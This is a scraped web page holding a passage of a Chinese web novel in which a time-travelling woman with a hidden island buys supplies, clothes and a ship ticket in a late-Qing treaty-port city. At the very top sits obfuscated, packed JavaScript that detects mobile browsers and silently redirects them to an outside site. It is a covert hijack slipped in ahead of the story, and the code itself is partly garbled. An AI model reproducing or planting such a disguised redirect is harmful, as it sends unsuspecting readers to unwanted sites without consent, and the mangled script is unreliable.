;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273674|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家大多不出门,江面开阔无船不需要躲避,且江上水流不急浪头不大。 等到了海城市区,根据岸边的灯光,在一大堆停泊的船只中找个空档,收船上岸。著名的外滩已经有几栋建筑了,只是高度和辉煌程度与几十年后的完全不能比,大半有名的建筑现在还没建。 蓝黑色的晨光中,苏茜在刚开张的小店买了些完全不是“海派”的早餐,感受着并非是自己熟悉的海城方言腔调,在被人注意之前回岛睡觉。 第二天大早,她原地出来,差点被人看见“神奇”的一幕。租界人口密集就是这点不好,但另一方面租界里保留了大量人和物,让这个城市哪怕经历过几次战争也没有全毁。她差一点就打算在租界买间房,不过想到抗战时自己的年纪就打消了主意。 先找教堂。这个好认,目前是最高建筑,而且在英租界,自然是新教的。 * * * 这几天倒春寒,风冷雨斜,苏茜都是去教堂邻近的非租界菜场买了菜、法租界内买了牛奶,在去一间旅馆的路上拐进巷子,然后躲回自己已经是春季的岛上。 小岛从没有倒春寒、秋老虎、黄梅天这样的气候,只有公平分配的充沛雨水和鲜明稳定的四季。 手头的标准银元都是去钱庄兑换的。由于两百年前银子太多,她跑遍海城,终于在买办店铺里买到了可以洗掉氧化黑银的化学试剂,洗了再去兑换,一部分本地货币。 而,虽然牛奶与青菜的价格差距让人目瞪口呆,但可以极大丰富饮食。尤其是自己没有乳酸不耐受,真好。不然可能无法按原定计划走人。 “……科学的尽头是哲学,不是吗?带着哲学的思想从事科学研究,会事半功倍。” 这里的一位年长的牧师现在不那么死板,苏茜的理由是脱离被饥荒冲散的世俗家庭,打算去伯城大学念宗.教学或哲学——那里收女大学生。 至于教义,苏茜可以用起码九种语言包括意式拉丁文来交流。除了希腊语不太行,大部分主要欧陆和中东语种都没问题——不,中东只有两种,似乎不太合适。差点打算去希腊定居练习本地语言的苏茜,想到第二次大战时成事不足败事有余的意军就打消了念头,德军接手后直接饿死五十万人包括年纪很大了的自己这种,还是算了。又不是修士和魔法世界,再拼命修炼,八十岁过后身体也不利索了。 一身自己做的“正宗”洋装和在买办商行里买的皮鞋,苏茜去教堂里参加十几次活动——当然不存在忏悔——在前后聊了好几个小时的宗.教哲学、社会学、音乐、历史、数学、化学和草药学,以及捐了一笔银元后,她拿到了牧师给的推荐信。 这位上了五十的贵族旁支后裔牧师是念完公学后从大学毕业的,当然分得清苏茜到底有没有知识。 有没有推荐信对苏茜其实没差别,她真没打算去念哲学,因为她熟悉的是马列以及一些存在主义,后者几十年后才“流行”,对早期哲学家们的著作也看得不多,记得的更少。 她只是需要有个独自坐船去瑞士的借口。 另外,她用的姓氏是巴利乌斯,因为“据说”她有阿拉贡人血统。那位牧师去过加泰罗尼亚,虽然没去过阿拉贡,但也清楚,一个清国年轻女子不可能从本地书籍或本地人那里知道那么多阿拉贡的事情甚至是语言都那么标准,所以他相信这个完全东方面孔的姑娘有欧洲血统,或者说不得不相信。 “下个月五号上午十点开船。”一身制服、长辫子隐在帽子里的船公司职员递来两张手签的船票。 “谢谢。” 两个能讲本地方言的华裔穿了洋装用英语在海城码头用鹰洋银币售和买跨洋船票,有够奇葩的。 为了一个人占一个舱房,苏茜花了近五百银元的天价,但是包三餐。 来的时候叫了人力车,回去的时候是走路——不是想活动,而是想找地方回岛方便。这时的码头附近可没有公共女厕,更不要提干净二字。 随便转到个巷子,趁无人就消失回岛。没监控,即使正好有人从窗格看到大变活人也无所谓,因为她凌晨才会出现走着去采购什么的。 岛上,衣服正在壁炉前烘干。出去穿了若干次、都是暗色泥点子的薄棉衣棉裤头巾布鞋,只是潦草清洗过,没有刻意刷干净,因为穿到上船前就不会再在人前穿了。 现在她要去买一批欧式服装什么的。 租界附近的裁缝店各种款式都有,除了贵没别的不好,还可以加价加急哦! 苏茜不需要加急,但她对成衣更感兴趣。在试了十几件衣服外套鞋子后,她拿出锦缎做的提包,拿出包起来的整百银元。 “两百。我全买了。”零售价直接砍半都不止。 小脚老板娘肯定受不了。 好说歹说,苏茜加上了手上的一枚造型“别致”的金戒——上上辈子批发来的工业品,但现在这样的做工还是要些手工费的。 走的时候是一个超级大包裹,然后她很快地消失在寥寥灯光的阴影中。对,就是在傍晚的时候过来,好天黑后才走。 第二天继续买。 首先是买辆推车,去采买岛上用得到的物品,日用品到大米茶叶丝绸黄酒,还有罐头蔬果等作为海上旅程吃。最沉的要数黄酒,一车子只能放两个密封的大坛子。但一坛子能用好久的。苏茜用原地进出岛的规则直接将酒放到地下室。但大米杂粮绿茶的保质期是个大麻烦,以后再也吃不到如此便宜的米饭绿茶了,但也能享受到廉价美好的乳制品和牛肉——大不了买贵价“进口货”,反正她无法忍受清国的造型和之后的战乱。 其次,再买一批蔬菜种子,以及果干坚果杂粮尤其是黄豆绿豆,以及一批新鲜菜做菜干,避免天天吃海带和腌菜。 接着,就是去洋行和外国银行兑换外币,购买行李箱等等。 最后,提前几天去海边。买船带桨以及网杆等各类渔具。 等到了五号前一天,她匆匆忙忙赶回距离码头不远的地方,回岛。第二天早上像是住客那样,一身洋服大衣皮鞋,戴了帽子,行李箱和行李袋一手一个,叫了辆人力车送自己去登船。